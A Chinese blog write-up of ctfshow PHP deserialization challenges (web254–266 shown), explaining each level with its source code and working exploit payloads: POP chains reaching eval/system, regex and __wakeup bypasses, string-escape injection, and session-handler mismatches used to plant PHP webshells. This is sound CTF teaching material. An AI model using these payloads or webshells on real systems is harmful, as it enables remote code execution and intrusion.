2026-08-23
php反序列化
00
请注意,本文编写于 84 天前,最后修改于 82 天前,其中某些信息可能已经过时。

目录

ctfshow反序列化题目
web254
web255
web256
web257
web258
web259
web260
web261
web262
web263
一、Session 是什么?
二、两种"档案格式"的区别
1. php_serialize 格式(新版、标准)
2. php 格式(旧版、简单)
三、核心漏洞:两种格式混用
index.php(登录页面)
inc.php / check.php(验证页面)
四、为什么加 | 就能攻击?
正常流程(不加 |)
攻击流程(加 |)
五、完整序列化字符串拆解
六、攻击流程图解
七、代码审计:怎么发现这种漏洞?
1. 搜索 session.serialize_handler
2. 搜索 $_SESSION[...] = 的可控来源
3. 搜索 destruct() / wakeup()
4. 检查 php.ini 配置
web264
web265
web266
web267
web268
2. 什么是"魔法方法"?
3. 什么是"Gadget Chain"(POP 链)?
4. PHPGGC 是什么?
二、Yii2 的五条经典利用链
链1:CVE-2020-15148(web267 用的)
链2:DbSession 链(你的"链A")
链3:SwiftMailer 链(web268 用的,你的"链B")
链4:Codeception 链(另一条绕过 __wakeup 的路)
链5:Guzzle + PHPUnit 链(不经过 Yii2 的 Action)
三、__wakeup 防御与绕过(核心考点)
Yii2 2.0.38 的修复
绕过思路:换起点!
四、PHPGGC 详解与使用
是什么?
安装
查看支持的 Yii2 链
生成 Payload
为什么 web268 不能直接用 PHPGGC 默认链?
五、实战对照表
web269
web270
web271
web272
web273
web274
web275
主程序逻辑
web276
phar反序列化
常见 phar 反序列化特征总结
web277
pickle 反序列化
一、概念
1. 序列化 = 把对象"冻"起来
2. 反序列化 = 把盒子"复活"
二、Pickle 是什么?
三、漏洞是怎么产生的?
正常情况:复活一个对象
恶意情况:复活的时候干坏事
四、底层原理(不用怕,用故事讲)
五、为什么你的脚本用 subprocess 而不是 os.system?
坑:os.system 跨平台会炸
解决:用 subprocess(纯 Python,全平台通用)
六、CTF 实战:反弹 Shell 完整流程
目标后端代码(漏洞点)
攻击脚本(Windows 生成,Linux 执行)
在你的服务器上监听
把输出的 base64 传给题目
七、攻击流程图
web278

ctfshow反序列化题目,更新完毕,web254-278,截止到2026.8.25

ctfshow反序列化题目

图片.png

web254

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }

没有好说的,就是注意不要写成"xxxxxx"

图片.png

web255

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }

这关不难,但是要把cookie进行url编码,并且是除了等号以外的都要。

图片.png

php
<?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=true; } echo serialize(new ctfShowUser()); ?>

web256

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }

这关和上关差不多,只需要修改username和password字段使两个不相等即可 图片.png

web257

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 20:33:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }

题目代码中,ctfShowUser 类的析构函数:

php
public function __destruct(){ $this->class->getInfo(); }

只要 ctfShowUser 对象被销毁,就会自动执行 $this->class->getInfo()。如果 $this->class 是一个 backDoor 对象,那么调用的就是 backDoor 的 getInfo():

php
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }

这个 getInfo() 会执行 eval($this->code),而 $code 属性是攻击者可控的,从而实现任意代码执行。


exp 代码的作用是生成一个符合要求的序列化字符串,以便放入 Cookie 中,让服务端 unserialize() 后得到我们精心构造的对象。

exp 中重新定义了 ctfShowUser 的构造函数:

php
public function __construct(){ $this->class = new backDoor(); // 将 class 属性赋值为 backDoor 对象 }

原因:原题目代码中 ctfShowUser 的构造函数会将 $this->class 初始化为 new info()(info 类是无害的,只会返回一个字符串)。如果我们不改写,直接序列化 new ctfShowUser(),得到的 $class 就是 info 对象,无法触发 eval。

因此,exp 中重写了构造函数,让 $class 属性在实例化时就被替换为 backDoor 对象。这样序列化后的字符串中,$class 就是一个 backDoor 对象,反序列化后,__destruct() 就会调用 backDoor->getInfo(),执行我们的恶意代码。

同时,backDoor 的 $code 属性被设置为 system('cat flag.php');,这样 eval 就会执行系统命令读取 flag。 图片.png

php
<?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class; public function __construct(){ $this->class = new backDoor(); // 关键:赋值为 backDoor 对象 } } class backDoor{ private $code="system('cat flag.php');"; } echo serialize(new ctfShowUser()); ?>

图片.png

web258

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 21:38:56 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
  1. preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
    • preg_match 用于检查字符串中是否匹配正则表达式。
    • 正则表达式:/[oc]:\d+:/i
      • [oc]:匹配字母 o 或 c(不区分大小写,因为后面有 i 修饰符)。
      • ::匹配一个冒号。
      • \d+:匹配一个或多个数字。
      • ::再匹配一个冒号。
      • i:表示不区分大小写。
    • 整体匹配的是形如 O:数字: 或 C:数字: 的片段。
  2. !preg_match(...)
    • 前面的 ! 取反,即如果不匹配才执行下面的代码。
  3. $user = unserialize($_COOKIE['user']);
    • 只有 Cookie 中 user 的值不包含 O:数字: 或 C:数字: 这样的模式时,才进行反序列化。

exp,生成payload后这里我们使用+号绕过

php
O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:13:"system('ls');";}}
php
<?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class; public function __construct(){ $this->class = new backDoor(); // 关键:赋值为 backDoor 对象 } } class backDoor{ public $code="system('cat flag.php');"; } echo serialize(new ctfShowUser()); ?>

图片.png

web259

index.php

php
<?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag(); Notice: Undefined index: vip in /var/www/html/index.php on line 6 Fatal error: Uncaught Error: Call to a member function getFlag() on bool in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8

flag.php

php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
  • $_SERVER['HTTP_X_FORWARDED_FOR'] 是从客户端发送的 X-Forwarded-For 请求头中获取的字符串,该头通常包含一个逗号分隔的 IP 地址列表,表示请求经过的代理或客户端的 IP 链。
  • explode(',', ...) 将这个字符串按逗号分割成数组,例如 "127.0.0.1, 1.2.3.4" 会变成 ["127.0.0.1", " 1.2.3.4"](注意第二个元素可能带有空格,取决于原始头格式)。
  • 第一次 array_pop($xff) 移除数组最后一个元素(通常是最接近服务器的 IP,可能是真实客户端 IP 或被服务器追加的 IP)。
  • 第二次 array_pop($xff) 再次移除最后一个元素(现在是新数组的最后一个),并将其赋值给 $ip。因此最终取的是原始列表的倒数第二个 IP。

发送请求,写入flag 图片.png

我不理解了,本来以为是要调用某个类中的方法,结果直接访问flag.txt就给了flag 图片.png

web260

php
<?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag; }
  • preg_match($pattern, $subject) 用于检查 $subject 中是否包含符合正则 $pattern 的子串。
  • 这里 $pattern 是 /ctfshow_i_love_36D/,表示匹配字面字符串 ctfshow_i_love_36D(没有特殊正则符号)。
  • $subject 是 serialize($_GET['ctfshow']),即对 GET 参数 ctfshow 进行 PHP 序列化后的结果。
  • 如果序列化后的字符串中包含 ctfshow_i_love_36D,preg_match 返回 1,条件成立,执行 echo $flag 输出 flag。

所以只要包含ctfshow_i_love_36D就可以 图片.png

web261

php
<?php highlight_file(__FILE__); class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); } public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']);

在 PHP 7.4+ 中,如果类实现了 __unserialize,则不会调用 __wakeup

利用思路: 图片.png 图片.png

php
<?php class ctfshowvip{ public $username="877.php"; public $password='<?php @eval($_POST["pass"]);?>'; public $code; } echo serialize(new ctfshowvip()); ?>

图片.png

图片.png

web262

index.php

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 02:37:19 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 16:05:38 # @message.php # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);

提示存在message.php

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 15:13:03 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 15:17:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }

假设我们传入的参数为:

  • f=a
  • t=b
  • m=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";} (这里为了可读性,没有显示所有 44 个 fuck,但意思就是这样)

原始的序列化字符串(未替换)大致为:

php
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:XXXX:"fuckfuckfuck...";s:2:"to";s:1:"b";s:5:"token";s:4:"user";}

其中 XXXX 是 m 值的总长度(包括大量 fuck 和注入代码)。假设这个总长度为 L。

替换后,所有 fuck 变成 loveU,因此 msg 的实际内容变长了 44 个字符,但是序列化中 s:XXXX:" 的长度仍然写着 L。于是 PHP 反序列化器读取到 s:XXXX:" 后,会从下一个字符开始读取 L 个字符作为 msg 的值。但实际字符串比 L 长,多出的 44 个字符就会溢出到外面。

溢出的 44 个字符恰好就是注入字符串 ";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";}。于是,反序列化器在读完 msg 的值后,正好停在注入字符串开头的 " 处。接下来,它把这个 " 当作下一个字段的起始引号,然后解析出 ;s:2:"to";s:1:"b";s:5:"token";s:5:"admin";},于是得到两个字段:to = b 和 token = admin,覆盖了原始的两个字段。

最终反序列化得到的对象属性为:

  • from = a
  • msg = loveU...(前 L 个字符,内容不重要)
  • to = b
  • token = admin

从而 token == 'admin' 成立,输出 flag。

图片.png

php
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";}

必须用url编码

php
?f=a&m=fuckfuck...%22%3Bs%3A2%3A%22to%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22admin%22%3B%7D&t=b

刷新message界面 图片.png

web263

有点蒙,给了个登录框,没有东西,发现源码有check.php没看出所以然,sql万能密码试了试没有,因为这是反序列化吗,没有黑盒测试,所以我们要寻找源码

图片.png 扫出来几个,下载www.zip,下载器抽风,换一个浏览器

图片.png index.php

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-03 16:28:37 # @Last Modified by: h1xa # @Last Modified time: 2020-09-06 19:21:45 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); session_start(); //超过5次禁止登陆 if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"> <title>ctfshow登陆</title> <link href="css/style.css" rel="stylesheet"> </head> <body> <div class="pc-kk-form"> <center><h1>CTFshow 登陆</h1></center><br><br> <form action="" onsubmit="return false;"> <div class="pc-kk-form-list"> <input id="u" type="text" placeholder="用户名"> </div> <div class="pc-kk-form-list"> <input id="pass" type="password" placeholder="密码"> </div> <div class="pc-kk-form-btn"> <button onclick="check();">登陆</button> </div> </form> </div> <script type="text/javascript" src="js/jquery.min.js"></script> <script> function check(){ $.ajax({ url:'check.php', type: 'GET', data:{ 'u':$('#u').val(), 'pass':$('#pass').val() }, success:function(data){ alert(JSON.parse(data).msg); }, error:function(data){ alert(JSON.parse(data).msg); } }); } </script> </body> </html>

check.php

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-03 16:59:10 # @Last Modified by: h1xa # @Last Modified time: 2020-09-06 19:15:38 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); require_once 'inc/inc.php'; $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']); if($GET){ $data= $db->get('admin', [ 'id', 'UserName0' ],[ "AND"=>[ "UserName0[=]"=>$GET['u'], "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破 ] ]); if($data['id']){ //登陆成功取消次数累计 $_SESSION['limit']= 0; echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0'])); }else{ //登陆失败累计次数加1 $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1); echo json_encode(array("error","msg"=>"登陆失败")); } }

inc.php

php
<?php error_reporting(0); ini_set('display_errors', 0); ini_set('session.serialize_handler', 'php'); date_default_timezone_set("Asia/Shanghai"); session_start(); use \CTFSHOW\CTFSHOW; require_once 'CTFSHOW.php'; $db = new CTFSHOW([ 'database_type' => 'mysql', 'database_name' => 'web', 'server' => 'localhost', 'username' => 'root', 'password' => 'root', 'charset' => 'utf8', 'port' => 3306, 'prefix' => '', 'option' => [ PDO::ATTR_CASE => PDO::CASE_NATURAL ] ]); // sql注入检查 function checkForm($str){ if(!isset($str)){ return true; }else{ return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str); } } class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } } /*生成唯一标志 *标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12) */ function uuid() { $chars = md5(uniqid(mt_rand(), true)); $uuid = substr ( $chars, 0, 8 ) . '-' . substr ( $chars, 8, 4 ) . '-' . substr ( $chars, 12, 4 ) . '-' . substr ( $chars, 16, 4 ) . '-' . substr ( $chars, 20, 12 ); return $uuid ; }

图片.png inc.php 中定义了 User 类:

__destruct() 会将 $password 写入到 log-{$username} 文件中。如果令:

$username = "1.php" → 文件名为 log-1.php $password = "<?php eval($_POST[1]);?>" → 文件内容为 PHP 一句话木马

虽然前面有 使用 前缀,但 PHP 解析器会跳过文本直到遇到 <?php 标签,因此可以成功执行。

图片.png index.php 的 Cookie 可控 Session

php
$_SESSION['limit']=base64_decode($_COOKIE['limit']);

攻击者可以通过控制 Cookie limit 来写入任意的 Session 值,且 $_SESSION['limti'] 存在拼写错误,导致登录次数限制完全失效。

图片.png exp1

php
<?php class User{ public $username; public $password; public $status; } $user = new User(); $user->username = '1.php'; $user->password = '<?php eval($_POST[1]);?>'; $user->status = true; $payload = '|' . serialize($user); echo base64_encode($payload);

图片.png

此时 index.php 以 php_serialize 格式写入 Session 文件,内容类似:

php
a:1:{s:5:"limit";s:156:"|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";b:1;}";}

这里尝试了下,不行,可能是被查杀,换成直接读文件

图片.png

exp2

php
<?php class User{ public $username; public $password; public $status; } $user = new User(); $user->username = 'f.php'; // 直接读 flag,不需要 eval,不会被查杀 $user->password = '<?php echo file_get_contents("flag.php");?>'; $user->status = true; echo base64_encode('|'.serialize($user)); ?>

发送两遍,第一遍是给你limit字段,第二遍是写入 图片.png

这里访问check.php就是写入到根目录,访问inc/inc.php就是写入到inc目录下 图片.png

访问得到flag 图片.png

或者,eval被禁用了,这里是使用system 图片.png

图片.png

提示

一、Session 是什么?

你登录一个网站后,关闭浏览器再打开,网站怎么知道"你还是你"?

答案是:服务器给你发了一个"身份证"(Cookie),里面写着 Session ID;服务器硬盘上存着一个对应的"档案"(Session 文件)。

  • Cookie 里的 PHPSESSID = 你的身份证号
  • 服务器上的 /tmp/sess_xxx 文件 = 你的档案,里面存着 $_SESSION 的所有数据

当你访问页面时:

  1. 浏览器把 PHPSESSID 发给服务器
  2. 服务器找到 sess_xxx 文件
  3. 把文件内容读出来,还原成 $_SESSION 数组

关键问题:这个"档案"怎么存?怎么读?

PHP 提供了几种不同的"存取格式",叫做 Session Serialize Handler(序列化处理器)。


二、两种"档案格式"的区别

这道题涉及两种处理器:

1. php_serialize 格式(新版、标准)

就像 JSON 一样,把整个数组序列化成一串字符串:

a:1:{s:5:"limit";s:3:"abc";}

拆解:

  • a:1: = 一个数组,里面有 1 个元素
  • {...} = 数组内容
  • s:5:"limit" = 键名是字符串,长度 5,值是 "limit"
  • s:3:"abc" = 值是字符串,长度 3,值是 "abc"

特点:整个文件就是一个完整的序列化数组,结构清晰。

2. php 格式(旧版、简单)

格式是:键名|值(用竖线 | 分隔)

limit|s:3:"abc";

拆解:

  • limit = 键名
  • | = 分隔符(告诉 PHP:前面是键名,后面是值)
  • s:3:"abc" = 值的内容(字符串,长度 3,"abc")

特点:简单,但只支持字符串和数字,而且用 | 当分隔符。


三、核心漏洞:两种格式混用

现在看题目代码:

index.php(登录页面)

php
session_start(); // 没有设置 handler,用 php.ini 默认值 // 默认一般是 php_serialize

inc.php / check.php(验证页面)

php
ini_set('session.serialize_handler', 'php'); // 强制指定用 php 格式 session_start();

图片.png 问题来了:同一个 Session 文件,先被 A 格式写入,再被 B 格式读取!


四、为什么加 | 就能攻击?

正常流程(不加 |)

你访问 index.php,它用 php_serialize 格式写入 Session:

a:1:{s:5:"limit";s:106:"O:4:"User":3:{...}";}

注意:值是 O:4:"User"...,这是一个序列化对象字符串,但它被当作普通字符串包在 s:106:"..." 里面。

然后你访问 check.php,它用 php 格式读取。php 格式找 | 当分隔符,但整个文件里没有 |!

所以 PHP 会把整个文件内容当成键名,值是空。$_SESSION 变成一个乱七八糟的数组,不会触发反序列化。

攻击流程(加 |)

你在 index.php 写入时,让 limit 的值变成:

|O:4:"User":3:{s:8:"username";s:5:"c.php";...}

因为 index.php 用 php_serialize 格式,整个文件变成:

a:1:{s:5:"limit";s:107:"|O:4:"User":3:{...}";}

注意:| 被当作普通字符串存进去了!

现在访问 check.php,它用 php 格式读取这个文件。php 格式看到 | 就兴奋了:

前面部分(被当成键名) | O:4:"User":3:{...}(被当成值)

PHP 解析:

  1. 键名 = a:1:{s:5:"limit";s:107:"(前面一堆,不重要)
  2. | 分隔符
  3. 值 = O:4:"User":3:{...} ← 这是一个序列化对象!

然后 PHP 对值执行 unserialize()(反序列化),User 对象被还原出来!

脚本结束时,PHP 会自动销毁这个 User 对象,触发 __destruct(),执行 file_put_contents,写入 webshell。


五、完整序列化字符串拆解

你生成的 Payload:

|O:4:"User":3:{s:8:"username";s:5:"c.php";s:8:"password";s:26:"<?php system($_POST[qwq]);?>";s:6:"status";b:1;}

逐段解释:

片段含义
``
O:4:"User"Object(对象),类名长度 4,类名 "User"
:3:对象有 3 个属性
{...}属性列表
s:8:"username"第一个属性名,字符串,长度 8
s:5:"c.php"值是字符串 "c.php"
s:8:"password"第二个属性名
s:26:"<?php system(...);?>"值是 26 字节的 PHP 代码
s:6:"status"第三个属性名
b:1值是布尔型 true

当这个字符串被 php 处理器当作"值"读取时,PHP 发现它是 O: 开头,就会调用 unserialize() 还原成对象。


六、攻击流程图解

[浏览器] [服务器] | | | 1. 访问 /index.php | | (不带 Cookie,新 Session)| |-------------------------->| | | 创建新 Session 文件 | 返回 PHPSESSID=xxx | |<--------------------------| | | | 2. 访问 /index.php | | Cookie: limit=恶意base64 | |-------------------------->| | | php_serialize 写入: | | a:1:{s:5:"limit";s:107:"|O:4:User...";} |<--------------------------| | | | 3. 访问 /check.php | | Cookie: PHPSESSID=xxx | |-------------------------->| | | php 格式读取 Session | | 发现 | 分隔符 | | 对后面 O:4:User... 执行 unserialize() | | 生成 User 对象 | | 脚本结束 → __destruct() | | file_put_contents("log-c.php", "webshell") |<--------------------------| | | | 4. 访问 /log-c.php | | POST: qwq=whoami | |-------------------------->| | | 执行 webshell,返回命令结果 |<--------------------------|

七、代码审计:怎么发现这种漏洞?

拿到一套 PHP 源码,重点看这几个地方:

1. 搜索 session.serialize_handler

bash
grep -r "session.serialize_handler" .

如果发现:

  • A 页面设置了 php,B 页面没有设置(或设置了 php_serialize)
  • 恭喜你,大概率存在漏洞!

2. 搜索 $_SESSION[...] = 的可控来源

看 $_SESSION 的键值是否来自用户输入:

  • $_SESSION['xxx'] = $_GET['yyy']
  • $_SESSION['xxx'] = $_COOKIE['yyy']
  • $_SESSION['xxx'] = base64_decode($_COOKIE['yyy']) ← 本题

如果用户能控制 Session 文件里的内容,且内容不经过滤,就能注入 |。

3. 搜索 __destruct() / __wakeup()

bash
grep -r "__destruct" . grep -r "__wakeup" .

看这些魔术方法里有没有危险操作:

  • file_put_contents(写文件)
  • eval() / system() / exec()(命令执行)
  • unlink()(删文件)
  • file_get_contents + 用户可控路径(文件读取)

有危险操作 + 属性可控 = 潜在的 POP 链。

4. 检查 php.ini 配置

如果源码里没有 ini_set,看 php.ini:

ini
session.serialize_handler = php_serialize

如果默认是 php_serialize,而某个入口文件(如 API、第三方库)单独改成了 php,就存在差异。


web264

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 02:37:19 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 16:05:38 # @message.php # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); session_start(); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent'; } highlight_file(__FILE__);

和前面262差不多,只不过这次存在session里面,请求带上msg就可以

php
?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

图片.png

web265

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand()); if($ctfshow->login()){ echo $flag; }

执行到:

php
$ctfshow->token = md5(mt_rand());

token 会变成一个随机 MD5,而要让password 随着一起变化才能绕过,所以需要& ,是 PHP 的引用赋值操作符。

php
$a = 'hello'; $b = &$a; // b 引用 a $b = 'world'; echo $a; // 输出 world,因为 a 和 b 指向同一个变量

图片.png exp

php
<?php class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $obj = new ctfshowAdmin('a','a'); $obj->password = &$obj->token; // 关键:让 password 成为 token 的引用 echo serialize($obj); ?>

图片.png

web266

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }

